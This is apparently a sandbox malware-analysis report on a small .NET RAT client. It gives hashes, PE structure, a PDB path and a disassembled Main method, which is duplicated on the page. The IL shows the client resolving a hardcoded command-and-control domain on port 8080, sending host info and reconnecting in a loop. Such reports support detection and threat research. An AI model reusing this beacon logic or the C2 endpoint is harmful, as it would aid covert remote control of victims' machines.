Suspicious
Suspect

fc3c26e0ad9ea5622bef527c5b2c553e

PE Executable
|
MD5: fc3c26e0ad9ea5622bef527c5b2c553e
|
Size: 13.52 KB
|
application/x-dosexec

Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
 Hash Value
MD5
fc3c26e0ad9ea5622bef527c5b2c553e
Sha1
2c732d4ed42332996437c7f363e7eb71005c5de6
Sha256
26828f22f3c215fa8551ccf532c452e90f495e7f115d6a519e74112e198878ed
Sha384
0ffc9c239772677f28532480197e8106d9e35a139ab13d708351d9c52b0d496c5d5209046578536aeb1a615b86ad3d4c
Sha512
9aab483737158fcdb6160ca37b78c39f10055e9fff0035e09391b9de47a8eb1972fba6ade0f4a6738e40f7f4d582204fbeee8adde2919e3842a5c2875ac20666
SSDeep
192:rJqYMZI8pv6ibECRconrdb/iv1r1HW1199Cbs41QzJVIv+IoUMqnhX7s6Za:wY8xp93rdb/iv1R21199CbedcHoSB8
TLSH
50521A08A748427EC6BE0B759CB397044678E38B9903EF8F6DCC91CE5E26BD946117D2

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
fc3c26e0ad9ea5622bef527c5b2c553e
Overlay_bfa71290.bin
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

Overlay extracted: Overlay_bfa71290.bin (205 bytes)
Info

PDB Path: D:\Development\1.RAT\5.C#RAT\Client\Client\bin\Release\Client.pdb
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void Client.Program::Main(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Console
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.5
Total Strings

23
Main Method

System.Void Client.Program::Main(System.String[])
Main IL Instruction Count

89
Main IL

br IL_00F6: ldsfld System.Boolean Client.Program::isExit nop <null> ldstr ksystemupdate.serveirc.com stloc.0 <null> ldc.i4 8080 stloc.1 <null> ldloc.0 <null> call System.Boolean Client.Program::IsValidDomainName(System.String) brfalse.s IL_0054: ldloc.0 ldloc.0 <null> call System.Net.IPAddress[] System.Net.Dns::GetHostAddresses(System.String) stloc.2 <null> ldc.i4.0 <null> stloc.3 <null> br.s IL_004C: ldloc.3 ldloc.2 <null> ldloc.3 <null> ldelem.ref <null> pop <null> ldloc.0 <null> ldloc.1 <null> newobj System.Void System.Net.Sockets.TcpClient::.ctor(System.String,System.Int32) call System.Void Client.Program::set_client(System.Net.Sockets.TcpClient) call System.Net.Sockets.TcpClient Client.Program::get_client() callvirt System.Boolean System.Net.Sockets.TcpClient::get_Connected() brfalse.s IL_0043: leave.s IL_0048 leave.s IL_0060: call System.Net.Sockets.TcpClient Client.Program::get_client() leave.s IL_0048: ldloc.3 pop <null> leave.s IL_0048: ldloc.3 ldloc.3 <null> ldc.i4.1 <null> add <null> stloc.3 <null> ldloc.3 <null> ldloc.2 <null> ldlen <null> conv.i4 <null> blt.s IL_0025: ldloc.2 br.s IL_0060: call System.Net.Sockets.TcpClient Client.Program::get_client() ldloc.0 <null> ldloc.1 <null> newobj System.Void System.Net.Sockets.TcpClient::.ctor(System.String,System.Int32) call System.Void Client.Program::set_client(System.Net.Sockets.TcpClient) call System.Net.Sockets.TcpClient Client.Program::get_client() callvirt System.Net.Sockets.NetworkStream System.Net.Sockets.TcpClient::GetStream() call System.Void Client.Program::set_ClientStream(System.Net.Sockets.NetworkStream) call System.Net.Sockets.NetworkStream Client.Program::get_ClientStream() call System.Void Client.Program::SendInfo(System.Net.Sockets.NetworkStream) ldsfld System.Threading.ThreadStart Client.Program/<>c__0::<>9__0_0 dup <null> brtrue.s IL_0098: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Client.Program/<>c__0 Client.Program/<>c__0::<>9 ldftn System.Void Client.Program/<>c__0::<Main>b__0_0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Client.Program/<>c__0::<>9__0_0 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) call System.Void System.Threading.Thread::Start() br.s IL_00BD: call System.Net.Sockets.TcpClient Client.Program::get_client() ldc.i4 200 ldstr call System.Void Client.Program::SendString(System.Byte,System.String) ldc.i4 10000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Net.Sockets.TcpClient Client.Program::get_client() callvirt System.Boolean System.Net.Sockets.TcpClient::get_Connected() brtrue.s IL_00A4: ldc.i4 200 leave.s IL_00CE: ldc.i4.0 pop <null> leave.s IL_00CE: ldc.i4.0 ldc.i4.0 <null> stloc.s V_4 br.s IL_00E3: ldloc.s V_4 ldsfld System.Int32 Client.Program::nSleepTime call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_4 ldc.i4.1 <null> add <null> stloc.s V_4 ldloc.s V_4 ldc.i4 60000 blt.s IL_00D3: ldsfld System.Int32 Client.Program::nSleepTime ldc.i4 600000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.Boolean Client.Program::isExit brfalse IL_0005: nop ret <null>
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void Client.Program::Main(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Console
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.5
Total Strings

23
Main Method

System.Void Client.Program::Main(System.String[])
Main IL Instruction Count

89
Main IL

br IL_00F6: ldsfld System.Boolean Client.Program::isExit nop <null> ldstr ksystemupdate.serveirc.com stloc.0 <null> ldc.i4 8080 stloc.1 <null> ldloc.0 <null> call System.Boolean Client.Program::IsValidDomainName(System.String) brfalse.s IL_0054: ldloc.0 ldloc.0 <null> call System.Net.IPAddress[] System.Net.Dns::GetHostAddresses(System.String) stloc.2 <null> ldc.i4.0 <null> stloc.3 <null> br.s IL_004C: ldloc.3 ldloc.2 <null> ldloc.3 <null> ldelem.ref <null> pop <null> ldloc.0 <null> ldloc.1 <null> newobj System.Void System.Net.Sockets.TcpClient::.ctor(System.String,System.Int32) call System.Void Client.Program::set_client(System.Net.Sockets.TcpClient) call System.Net.Sockets.TcpClient Client.Program::get_client() callvirt System.Boolean System.Net.Sockets.TcpClient::get_Connected() brfalse.s IL_0043: leave.s IL_0048 leave.s IL_0060: call System.Net.Sockets.TcpClient Client.Program::get_client() leave.s IL_0048: ldloc.3 pop <null> leave.s IL_0048: ldloc.3 ldloc.3 <null> ldc.i4.1 <null> add <null> stloc.3 <null> ldloc.3 <null> ldloc.2 <null> ldlen <null> conv.i4 <null> blt.s IL_0025: ldloc.2 br.s IL_0060: call System.Net.Sockets.TcpClient Client.Program::get_client() ldloc.0 <null> ldloc.1 <null> newobj System.Void System.Net.Sockets.TcpClient::.ctor(System.String,System.Int32) call System.Void Client.Program::set_client(System.Net.Sockets.TcpClient) call System.Net.Sockets.TcpClient Client.Program::get_client() callvirt System.Net.Sockets.NetworkStream System.Net.Sockets.TcpClient::GetStream() call System.Void Client.Program::set_ClientStream(System.Net.Sockets.NetworkStream) call System.Net.Sockets.NetworkStream Client.Program::get_ClientStream() call System.Void Client.Program::SendInfo(System.Net.Sockets.NetworkStream) ldsfld System.Threading.ThreadStart Client.Program/<>c__0::<>9__0_0 dup <null> brtrue.s IL_0098: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Client.Program/<>c__0 Client.Program/<>c__0::<>9 ldftn System.Void Client.Program/<>c__0::<Main>b__0_0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Client.Program/<>c__0::<>9__0_0 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) call System.Void System.Threading.Thread::Start() br.s IL_00BD: call System.Net.Sockets.TcpClient Client.Program::get_client() ldc.i4 200 ldstr call System.Void Client.Program::SendString(System.Byte,System.String) ldc.i4 10000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Net.Sockets.TcpClient Client.Program::get_client() callvirt System.Boolean System.Net.Sockets.TcpClient::get_Connected() brtrue.s IL_00A4: ldc.i4 200 leave.s IL_00CE: ldc.i4.0 pop <null> leave.s IL_00CE: ldc.i4.0 ldc.i4.0 <null> stloc.s V_4 br.s IL_00E3: ldloc.s V_4 ldsfld System.Int32 Client.Program::nSleepTime call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_4 ldc.i4.1 <null> add <null> stloc.s V_4 ldloc.s V_4 ldc.i4 60000 blt.s IL_00D3: ldsfld System.Int32 Client.Program::nSleepTime ldc.i4 600000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.Boolean Client.Program::isExit brfalse IL_0005: nop ret <null>
fc3c26e0ad9ea5622bef527c5b2c553e (13.52 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙